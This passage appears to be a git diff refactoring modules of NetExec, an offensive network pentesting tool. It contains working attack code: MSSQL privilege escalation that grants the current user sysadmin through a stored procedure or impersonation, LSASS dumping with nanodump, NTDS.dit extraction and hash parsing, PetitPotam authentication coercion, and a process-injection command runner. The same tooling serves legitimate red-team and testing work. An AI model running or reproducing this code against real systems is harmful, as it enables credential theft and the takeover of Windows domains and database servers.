:rtype: str
"""
return self.query_and_get_output("select SUSER_NAME()")[0][""]
def is_admin(self, exec_as="") -> bool:
"""
Checks if the user is an admin.
Args:
----
exec_as (str): The user to execute the query as. Default is an empty string.
Returns:
-------
bool: True if the user is an admin, False otherwise.
"""
res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')")
self.revert_context(exec_as)
is_admin = res[0][""]
self.context.log.debug(f"IsAdmin Result: {is_admin}")
if is_admin:
self.context.log.debug(f"User is admin!")
self.context.log.debug("User is admin!")
self.admin_privs = True
return True
else:
return False
def get_databases(self, exec_as="") -> list:
"""
Retrieves a list of databases from the SQL server.
Args:
----
exec_as (str, optional): The username to execute the query as. Defaults to "".
Returns:
-------
list: A list of database names.
"""
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
self.revert_context(exec_as)
self.context.log.debug(f"Response: {res}")
self.context.log.debug(f"Response Type: {type(res)}")
tables = [table["name"] for table in res]
return tables
return [table["name"] for table in res]
def is_dbowner(self, database, exec_as="") -> bool:
query = f"""select rp.name as database_role
from [{database}].sys.database_role_members drm
join [{database}].sys.database_principals rp
on (drm.role_principal_id = rp.principal_id)
join [{database}].sys.database_principals mp
on (drm.member_principal_id = mp.principal_id)
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"""
self.context.log.debug(f"Query: {query}")
def is_db_owner(self, database, exec_as="") -> bool:
"""
Check if the specified database is owned by the current user.
Args:
----
database (str): The name of the database to check.
exec_as (str, optional): The name of the user to execute the query as. Defaults to "".
Returns:
-------
bool: True if the database is owned by the current user, False otherwise.
"""
query = f"""
SELECT rp.name AS database_role
FROM [{database}].sys.database_role_members drm
JOIN [{database}].sys.database_principals rp ON (drm.role_principal_id = rp.principal_id)
JOIN [{database}].sys.database_principals mp ON (drm.member_principal_id = mp.principal_id)
WHERE rp.name = 'db_owner' AND mp.name = SYSTEM_USER
"""
res = self.query_and_get_output(exec_as + query)
self.context.log.debug(f"Response: {res}")
self.revert_context(exec_as)
if res:
if "database_role" in res[0] and res[0]["database_role"] == "db_owner":
return True
else:
return False
if res and "database_role" in res[0] and res[0]["database_role"] == "db_owner":
return True
return False
def find_dbowner_priv(self, databases, exec_as="") -> list:
match = []
for database in databases:
if self.is_dbowner(database, exec_as):
match.append(database)
return match
"""
Finds the list of databases for which the specified user is the owner.
def find_trusted_db(self, exec_as="") -> list:
query = """SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m
ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON
p.principal_id = m.member_principal_id
inner join sys.databases d
on suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
and r.type = 'R' and r.name = N'sysadmin'"""
res = self.query_and_get_output(exec_as + query)
Args:
----
databases (list): A list of database names.
exec_as (str, optional): The user to execute the check as. Defaults to "".
Returns:
-------
list: A list of database names for which the specified user is the owner.
"""
return [database for database in databases if self.is_db_owner(database, exec_as)]
def find_trusted_databases(self, exec_as="") -> list:
"""
Find trusted databases.
:param exec_as: The user under whose context the query should be executed. Defaults to an empty string.
:type exec_as: str
:return: A list of trusted database names.
:rtype: list
"""
query = """
SELECT d.name AS DATABASENAME
FROM sys.server_principals r
INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
INNER JOIN sys.server_principals p ON p.principal_id = m.member_principal_id
INNER JOIN sys.databases d ON suser_sname(d.owner_sid) = p.name
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
AND r.type = 'R' AND r.name = N'sysadmin'
"""
result = self.query_and_get_output(exec_as + query)
self.revert_context(exec_as)
return res
return result
def check_dbowner_privesc(self, exec_as=""):
"""
Check if a database owner has privilege escalation.
:param exec_as: The user to execute the check as. Defaults to an empty string.
:type exec_as: str
:return: The first trusted database that has a database owner with privilege escalation, or None if no such database is found.
:rtype: str or None
"""
databases = self.get_databases(exec_as)
dbowner = self.find_dbowner_priv(databases, exec_as)
trusted_db = self.find_trusted_db(exec_as)
# return the first match
for db in dbowner:
if db in trusted_db:
dbowner_privileged_databases = self.find_dbowner_priv(databases, exec_as)
trusted_databases = self.find_trusted_databases(exec_as)
for db in dbowner_privileged_databases:
if db in trusted_databases:
return db
return None
def do_dbowner_privesc(self, database, exec_as=""):
# change context if necessary
"""
Executes a series of SQL queries to perform a database owner privilege escalation.
Args:
----
database (str): The name of the database to perform the privilege escalation on.
exec_as (str, optional): The username to execute the queries as. Defaults to "".
Returns:
-------
None
"""
self.query_and_get_output(exec_as)
# use database
self.query_and_get_output(f"use {database};")
query = f"""CREATE PROCEDURE sp_elevate_me
query = """CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
as
begin
EXEC sp_addsrvrolemember '{self.current_username}','sysadmin'
end"""
self.query_and_get_output(query)
self.query_and_get_output("EXEC sp_elevate_me;")
self.query_and_get_output("DROP PROCEDURE sp_elevate_me;")
self.revert_context(exec_as)
def do_impersonation_privesc(self, username, exec_as=""):
"""
Perform an impersonation privilege escalation by changing the context to the specified user and granting them 'sysadmin' role.
:param username: The username of the user to escalate privileges for.
:type username: str
:param exec_as: The username to execute the query as. Defaults to an empty string.
:type exec_as: str, optional
:return: None
:rtype: None
"""
# change context if necessary
self.query_and_get_output(exec_as)
# update our privilege
@@ -264,31 +401,63 @@ class NXCModule:
self.revert_context(exec_as)
def get_impersonate_users(self, exec_as="") -> list:
"""
Retrieves a list of users who have the permission to impersonate other users.
Args:
----
exec_as (str, optional): The context in which the query will be executed. Defaults to "".
Returns:
-------
list: A list of user names who have the permission to impersonate other users.
"""
query = """SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name like 'IMPERSONATE%'"""
res = self.query_and_get_output(exec_as + query)
# self.context.log.debug(f"Result: {res}")
self.revert_context(exec_as)
users = [user["name"] for user in res]
return users
return [user["name"] for user in res]
def remove_sysadmin_priv(self) -> bool:
res = self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
"""
Remove the sysadmin privilege from the current user.
:return: True if the sysadmin privilege was successfully removed, False otherwise.
:rtype: bool
"""
self.query_and_get_output(f"EXEC sp_dropsrvrolemember '{self.current_username}', 'sysadmin'")
return not self.is_admin()
def is_admin_user(self, username) -> bool:
"""
Check if the given username belongs to an admin user.
:param username: The username to check.
:type username: str
:return: True if the username belongs to an admin user, False otherwise.
:rtype: bool
"""
res = self.query_and_get_output(f"SELECT IS_SRVROLEMEMBER('sysadmin', '{username}')")
try:
if int(res):
self.admin_privs = True
return True
else:
return False
except:
is_admin = res[0][""]
if is_admin:
self.admin_privs = True
return True
else:
return False
def revert_context(self, exec_as):
"""
Reverts the context for the specified user.
Parameters
----------
exec_as (str): The user for whom the context should be reverted.
Returns
-------
None
"""
self.query_and_get_output("REVERT;" * exec_as.count("EXECUTE"))
+22 -26
View File
@@ -1,12 +1,11 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# nanodump module for nxc python3
# author of the module : github.com/mpgn
# nanodump: https://github.com/helpsystems/nanodump
import os
import base64
import sys
import pypykatz
from pypykatz.pypykatz import pypykatz
import tempfile
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
@@ -34,13 +33,12 @@ class NXCModule:
self.module_options = module_options
def options(self, context, module_options):
"""
r"""
TMP_DIR Path where process dump should be saved on target system (default: C:\\Windows\\Temp\\)
NANO_PATH Path where nano.exe is on your system (default: OS temp directory)
NANO_EXE_NAME Name of the nano executable (default: nano.exe)
DIR_RESULT Location where the dmp are stored (default: DIR_RESULT = NANO_PATH)
"""
self.context = context
self.remote_tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.remote_tmp_dir.split(":")[1]
@@ -59,7 +57,6 @@ class NXCModule:
self.useembeded = False
else:
self.nano_path = f"{tempfile.gettempdir()}"
self.dir_result = self.nano_path
if "NANO_EXE_NAME" in module_options:
@@ -76,7 +73,7 @@ class NXCModule:
self.connection = connection
self.context = context
if self.useembeded:
with open(self.nano_path + self.nano, "wb") as nano:
with open(os.path.join(self.nano_path, self.nano), "wb") as nano:
if self.connection.os_arch == 32 and self.context.protocol == "smb":
self.context.log.display("32-bit Windows detected.")
nano.write(self.nano_embedded32)
@@ -90,17 +87,17 @@ class NXCModule:
sys.exit(1)
if self.context.protocol == "smb":
with open(self.nano_path + self.nano, "rb") as nano:
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
try:
self.connection.conn.putFile(self.share, self.tmp_share + self.nano, nano.read)
self.context.log.success(f"Created file {self.nano} on the \\\\{self.share}{self.tmp_share}")
except Exception as e:
self.context.log.fail(f"Error writing file to share {self.share}: {e}")
else:
with open(self.nano_path + self.nano, "rb") as nano:
with open(os.path.join(self.nano_path, self.nano), "rb") as nano:
try:
self.context.log.display(f"Copy {self.nano} to {self.remote_tmp_dir}")
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.put_file(nano.read(), self.remote_tmp_dir + self.nano)
if exec_method.file_exists(self.remote_tmp_dir + self.nano):
self.context.log.success(f"Created file {self.nano} on the remote machine {self.remote_tmp_dir}")
@@ -113,20 +110,20 @@ class NXCModule:
# apparently SMB exec methods treat the output parameter differently than MSSQL (we use it to display())
# if we don't do this, then SMB doesn't actually return the results of commands, so it appears that the
# execution fails, which it doesn't
display_output = True if self.context.protocol == "smb" else False
display_output = self.context.protocol == "smb"
self.context.log.debug(f"Display Output: {display_output}")
# get LSASS PID via `tasklist`
command = 'tasklist /v /fo csv | findstr /i "lsass"'
self.context.log.display(f"Getting LSASS PID via command {command}")
p = self.connection.execute(command, display_output)
self.context.log.debug(f"tasklist Command Result: {p}")
if not p or p == "None":
self.context.log.fail("Failed to execute command to get LSASS PID")
return
if len(p) == 1:
p = p[0]
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to get LSASS PID")
return
pid = p.split(",")[1][1:-1]
self.context.log.debug(f"pid: {pid}")
timestamp = datetime.today().strftime("%Y%m%d_%H%M")
@@ -138,7 +135,7 @@ class NXCModule:
self.context.log.debug(f"NanoDump Command Result: {p}")
if not p or p == "None":
self.context.log.fail(f"Failed to execute command to execute NanoDump")
self.context.log.fail("Failed to execute command to execute NanoDump")
self.delete_nanodump_binary()
return
@@ -154,7 +151,7 @@ class NXCModule:
if dump:
self.context.log.display(f"Copying {nano_log_name} to host")
filename = f"{self.dir_result}{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
if self.context.protocol == "smb":
with open(filename, "wb+") as dump_file:
try:
@@ -176,7 +173,7 @@ class NXCModule:
self.context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
else:
try:
exec_method = MSSQLEXEC(self.connection.conn)
exec_method = MSSQLEXEC(self.connection.conn, self.context.log)
exec_method.get_file(self.remote_tmp_dir + nano_log_name, filename)
self.context.log.success(f"Dumpfile of lsass.exe was transferred to {filename}")
except Exception as e:
@@ -190,14 +187,13 @@ class NXCModule:
except Exception as e:
self.context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on dir {self.remote_tmp_dir}: {e}")
fh = open(filename, "r+b")
fh.seek(0)
fh.write(b"\x4d\x44\x4d\x50")
fh.seek(4)
fh.write(b"\xa7\x93")
fh.seek(6)
fh.write(b"\x00\x00")
fh.close()
with open(filename, "r+b") as fh: # needs the "r+b", not "rb" like below
fh.seek(0)
fh.write(b"\x4d\x44\x4d\x50")
fh.seek(4)
fh.write(b"\xa7\x93")
fh.seek(6)
fh.write(b"\x00\x00")
with open(filename, "rb") as dump:
try:
+1 -3
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
# @exploitph @Evi1cg
# module by @mpgn_x64
@@ -49,5 +47,5 @@ class NXCModule:
context.log.highlight("")
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Ridter/noPac")
except OSError as e:
except OSError:
context.log.debug(f"Error connecting to Kerberos (port 88) on {connection.host}")
+37 -39
View File
@@ -41,14 +41,14 @@ class NXCModule:
self.no_delete = True
def on_admin_login(self, context, connection):
command = "powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full %s%s' q q\"" % (self.tmp_dir, self.dump_location)
context.log.display("Dumping ntds with ntdsutil.exe to %s%s" % (self.tmp_dir, self.dump_location))
command = f"powershell \"ntdsutil.exe 'ac i ntds' 'ifm' 'create full {self.tmp_dir}{self.dump_location}' q q\""
context.log.display(f"Dumping ntds with ntdsutil.exe to {self.tmp_dir}{self.dump_location}")
context.log.highlight("Dumping the NTDS, this could take a while so go grab a redbull...")
context.log.debug("Executing command {}".format(command))
context.log.debug(f"Executing command {command}")
p = connection.execute(command, True)
context.log.debug(p)
if "success" in p:
context.log.success("NTDS.dit dumped to %s%s" % (self.tmp_dir, self.dump_location))
context.log.success(f"NTDS.dit dumped to {self.tmp_dir}{self.dump_location}")
else:
context.log.fail("Error while dumping NTDS")
return
@@ -57,53 +57,56 @@ class NXCModule:
os.makedirs(os.path.join(self.dir_result, "Active Directory"), exist_ok=True)
os.makedirs(os.path.join(self.dir_result, "registry"), exist_ok=True)
context.log.display("Copying NTDS dump to %s" % self.dir_result)
context.log.display(f"Copying NTDS dump to {self.dir_result}")
context.log.debug("Copy ntds.dit to host")
with open(os.path.join(self.dir_result, "Active Directory", "ntds.dit"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "Active Directory\\ntds.dit",
f"{self.tmp_share}{self.dump_location}\\Active Directory\\ntds.dit",
dump_file.write,
)
context.log.debug("Copied ntds.dit file")
except Exception as e:
context.log.fail("Error while get ntds.dit file: {}".format(e))
context.log.fail(f"Error while get ntds.dit file: {e}")
context.log.debug("Copy SYSTEM to host")
with open(os.path.join(self.dir_result, "registry", "SYSTEM"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "registry\\SYSTEM",
f"{self.tmp_share}{self.dump_location}\\registry\\SYSTEM",
dump_file.write,
)
context.log.debug("Copied SYSTEM file")
except Exception as e:
context.log.fail("Error while get SYSTEM file: {}".format(e))
context.log.fail(f"Error while get SYSTEM file: {e}")
context.log.debug("Copy SECURITY to host")
with open(os.path.join(self.dir_result, "registry", "SECURITY"), "wb+") as dump_file:
try:
connection.conn.getFile(
self.share,
self.tmp_share + self.dump_location + "\\" + "registry\\SECURITY",
f"{self.tmp_share}{self.dump_location}\\registry\\SECURITY",
dump_file.write,
)
context.log.debug("Copied SECURITY file")
except Exception as e:
context.log.fail("Error while get SECURITY file: {}".format(e))
context.log.display("NTDS dump copied to %s" % self.dir_result)
try:
command = "rmdir /s /q %s%s" % (self.tmp_dir, self.dump_location)
p = connection.execute(command, True)
context.log.success("Deleted %s%s remote dump directory" % (self.tmp_dir, self.dump_location))
except Exception as e:
context.log.fail("Error deleting {} remote directory on share {}: {}".format(self.dump_location, self.share, e))
context.log.fail(f"Error while get SECURITY file: {e}")
localOperations = LocalOperations("%s/registry/SYSTEM" % self.dir_result)
bootKey = localOperations.getBootKey()
noLMHash = localOperations.checkNoLMHashPolicy()
context.log.display(f"NTDS dump copied to {self.dir_result}")
try:
command = f"rmdir /s /q {self.tmp_dir}{self.dump_location}"
p = connection.execute(command, True)
context.log.success(f"Deleted {self.tmp_dir}{self.dump_location} remote dump directory")
except Exception as e:
context.log.fail(f"Error deleting {self.dump_location} remote directory on share {self.share}: {e}")
local_operations = LocalOperations(f"{self.dir_result}/registry/SYSTEM")
boot_key = local_operations.getBootKey()
no_lm_hash = local_operations.checkNoLMHashPolicy()
host_id = context.db.get_hosts(filter_term=connection.host)[0][0]
@@ -118,20 +121,20 @@ class NXCModule:
context.log.highlight(ntds_hash)
if ntds_hash.find("$") == -1:
if ntds_hash.find("\\") != -1:
domain, hash = ntds_hash.split("\\")
domain, clean_hash = ntds_hash.split("\\")
else:
domain = connection.domain
hash = ntds_hash
clean_hash = ntds_hash
try:
username, _, lmhash, nthash, _, _, _ = hash.split(":")
parsed_hash = ":".join((lmhash, nthash))
username, _, lmhash, nthash, _, _, _ = clean_hash.split(":")
parsed_hash = f"{lmhash}:{nthash}"
if validate_ntlm(parsed_hash):
context.db.add_credential("hash", domain, username, parsed_hash, pillaged_from=host_id)
add_ntds_hash.added_to_db += 1
return
raise
except:
except Exception:
context.log.debug("Dumped hash is not NTLM, not adding to db for now ;)")
else:
context.log.debug("Dumped hash is a computer account, not adding to db")
@@ -140,11 +143,11 @@ class NXCModule:
add_ntds_hash.added_to_db = 0
NTDS = NTDSHashes(
"%s/Active Directory/ntds.dit" % self.dir_result,
bootKey,
f"{self.dir_result}/Active Directory/ntds.dit",
boot_key,
isRemote=False,
history=False,
noLMHash=noLMHash,
noLMHash=no_lm_hash,
remoteOps=None,
useVSSMethod=True,
justNTLM=True,
@@ -159,22 +162,17 @@ class NXCModule:
try:
context.log.success("Dumping the NTDS, this could take a while so go grab a redbull...")
NTDS.dump()
context.log.success(
"Dumped {} NTDS hashes to {} of which {} were added to the database".format(
highlight(add_ntds_hash.ntds_hashes),
connection.output_filename + ".ntds",
highlight(add_ntds_hash.added_to_db),
)
)
context.log.success(f"Dumped {highlight(add_ntds_hash.ntds_hashes)} NTDS hashes to {connection.output_filename}.ntds of which {highlight(add_ntds_hash.added_to_db)} were added to the database")
context.log.display("To extract only enabled accounts from the output file, run the following command: ")
context.log.display("grep -iv disabled {} | cut -d ':' -f1".format(connection.output_filename + ".ntds"))
context.log.display(f"grep -iv disabled {connection.output_filename}.ntds | cut -d ':' -f1")
except Exception as e:
context.log.fail(e)
NTDS.finish()
if self.no_delete:
context.log.display("Raw NTDS dump copied to %s, parse it with:" % self.dir_result)
context.log.display('secretsdump.py -system %s/registry/SYSTEM -security %s/registry/SECURITY -ntds "%s/Active Directory/ntds.dit" LOCAL' % (self.dir_result, self.dir_result, self.dir_result))
context.log.display(f"Raw NTDS dump copied to {self.dir_result}, parse it with:")
context.log.display(f"secretsdump.py -system '{self.dir_result}/registry/SYSTEM' -security '{self.dir_result}/registry/SECURITY' -ntds '{self.dir_result}/Active Directory/ntds.dit' LOCAL")
else:
shutil.rmtree(self.dir_result)
+10 -9
View File
@@ -1,6 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.dcerpc.v5.rrp import DCERPCSessionError
@@ -10,10 +7,11 @@ class NXCModule:
"""
Detect if the target's LmCompatibilityLevel will allow NTLMv1 authentication
Module by @Tw1sm
Modified by Deft (08/02/2024)
"""
name = "ntlmv1"
description = "Detect if lmcompatibilitylevel on the target is set to 0 or 1"
description = "Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -35,19 +33,22 @@ class NXCModule:
"SYSTEM\\CurrentControlSet\\Control\\Lsa",
)
key_handle = ans["phkResult"]
rtype = None
data = None
rtype = data = None
try:
rtype, data = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"lmcompatibilitylevel\x00",
)
except rrp.DCERPCSessionError as e:
context.log.debug(f"Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
if rtype and data and int(data) in [0, 1, 2]:
except rrp.DCERPCSessionError:
context.log.debug("Unable to reference lmcompatabilitylevel, which probably means ntlmv1 is not set")
# Changed by Defte
# Unless this keys is set to 3 or higher, NTLMv1 can be used
if data in [0, 1, 2]:
context.log.highlight(self.output.format(connection.conn.getRemoteHost(), data))
except DCERPCSessionError as e:
context.log.debug(f"Error connecting to RemoteRegistry: {e}")
finally:
+84
View File
@@ -0,0 +1,84 @@
#!/usr/bin/env python3
from datetime import datetime, timedelta
from nxc.paths import NXC_PATH
import socket
class NXCModule:
"""
Extract obsolete operating systems from LDAP
Module by Brandon Fisher @shad0wcntr0ller
"""
name = "obsolete"
description = "Extract all obsolete operating systems from LDAP"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def ldap_time_to_datetime(self, ldap_time):
"""Convert an LDAP timestamp to a datetime object."""
if ldap_time == "0": # Account for never-set passwords
return "Never"
try:
epoch = datetime(1601, 1, 1) + timedelta(seconds=int(ldap_time) / 10000000)
return epoch.strftime("%Y-%m-%d %H:%M:%S")
except Exception:
return "Conversion Error"
def options(self, context, module_options):
"""No module-specific options required."""
def on_login(self, context, connection):
search_filter = ("(&(objectclass=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=2))"
"(|(operatingSystem=*Windows 6*)(operatingSystem=*Windows 2000*)"
"(operatingSystem=*Windows XP*)(operatingSystem=*Windows Vista*)"
"(operatingSystem=*Windows 7*)(operatingSystem=*Windows 8*)"
"(operatingSystem=*Windows 8.1*)(operatingSystem=*Windows Server 2003*)"
"(operatingSystem=*Windows Server 2008*)(operatingSystem=*Windows Server 2012*)))")
attributes = ["name", "operatingSystem", "dNSHostName", "pwdLastSet"]
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
except Exception:
context.log.error("LDAP search error:", exc_info=True)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if "attributes" not in item:
continue
dns_hostname, pwd_last_set = "", "0" # Default '0' for pwdLastSet
for attribute in item["attributes"]:
attr_type = str(attribute["type"])
if attr_type == "operatingSystem":
os = str(attribute["vals"][0])
elif attr_type == "dNSHostName":
dns_hostname = str(attribute["vals"][0])
elif attr_type == "pwdLastSet":
pwd_last_set = str(attribute["vals"][0])
if dns_hostname and os:
pwd_last_set_readable = self.ldap_time_to_datetime(pwd_last_set)
try:
ip_address = socket.gethostbyname(dns_hostname)
answers.append((dns_hostname, ip_address, os, pwd_last_set_readable))
except socket.gaierror:
answers.append((dns_hostname, "N/A", os, pwd_last_set_readable))
if answers:
obsolete_hosts_count = len(answers)
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
with open(filename, "w") as f:
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
log_message = f"{dns_hostname} ({ip_address}) : {os} [pwd-last-set: {pwd_last_set_readable}]"
context.log.highlight(log_message)
f.write(log_message + "\n")
else:
context.log.display("No Obsolete Hosts Identified")
return True
+21 -29
View File
@@ -1,5 +1,3 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# From https://github.com/topotam/PetitPotam
# All credit to @topotam
# Module by @mpgn_x64
@@ -46,11 +44,11 @@ class NXCModule:
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
target=connection.host if not connection.kerberos else connection.remoteName,
pipe=self.pipe,
do_kerberos=connection.kerberos,
dc_host=connection.kdcHost,
target_ip=connection.host,
kdcHost=connection.kdcHost,
remoteHost=connection.host,
context=context,
)
if efs_rpc_open_file_raw(dce, self.listener, context):
@@ -67,8 +65,8 @@ class NXCModule:
host.signing,
petitpotam=True,
)
except Exception as e:
context.log.debug(f"Error updating petitpotam status in database")
except Exception:
context.log.debug("Error updating petitpotam status in database")
class DCERPCSessionError(DCERPCException):
@@ -80,13 +78,9 @@ class DCERPCSessionError(DCERPCException):
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return "EFSR SessionError: code: 0x%x - %s - %s" % (
self.error_code,
error_msg_short,
error_msg_verbose,
)
return f"EFSR SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return "EFSR SessionError: unknown error code: 0x%x" % self.error_code
return f"EFSR SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
@@ -200,8 +194,8 @@ def coerce(
target,
pipe,
do_kerberos,
dc_host,
target_ip=None,
kdcHost,
remoteHost,
context=None,
):
binding_params = {
@@ -227,6 +221,7 @@ def coerce(
},
}
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
rpc_transport.setRemoteHost(remoteHost)
if hasattr(rpc_transport, "set_credentials"):
rpc_transport.set_credentials(
username=username,
@@ -237,29 +232,26 @@ def coerce(
aesKey=aesKey,
)
if target_ip:
rpc_transport.setRemoteHost(target_ip)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
rpc_transport.set_kerberos(do_kerberos, kdcHost)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info("[-] Connecting to %s" % binding_params[pipe]["stringBinding"])
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Connected!")
context.log.info("[+] Binding to %s" % binding_params[pipe]["MSRPC_UUID_EFSR"][0])
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
except Exception as e:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Successfully bound!")
return dce
@@ -268,9 +260,9 @@ def coerce(
def efs_rpc_open_file_raw(dce, listener, context=None):
try:
request = EfsRpcOpenFileRaw()
request["fileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
request["Flag"] = 0
resp = dce.request(request)
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
@@ -283,14 +275,14 @@ def efs_rpc_open_file_raw(dce, listener, context=None):
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request["FileName"] = "\\\\%s\\test\\Settings.ini\x00" % listener
resp = dce.request(request)
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")
else:
context.log.debug("Something went wrong, check error status => %s" % str(e))
context.log.debug(f"Something went wrong, check error status => {e!s}")
+27 -26
View File
@@ -1,31 +1,33 @@
from base64 import b64decode
from sys import exit
from os import path
from os.path import abspath, join, isfile
from nxc.paths import DATA_PATH, TMP_PATH
class NXCModule:
name = "pi"
description = "Run command as logged on users via Process Injection"
supported_protocols = ["smb"]
opsec_safe = True
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
'''
PID // Process ID for Target User, PID=pid
EXEC // Command to exec, EXEC='command' Single quote is better to use
This module reads the executed command output under the name C:\windows\temp\output.txt and deletes it. In case of a possible error, it may need to be deleted manually.
'''
r"""
PID // Process ID for Target User, PID=pid
EXEC // Command to exec, EXEC='command' Single quote is better to use
This module reads the executed command output under the name C:\windows\temp\output.txt and deletes it. In case of a possible error, it may need to be deleted manually.
"""
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
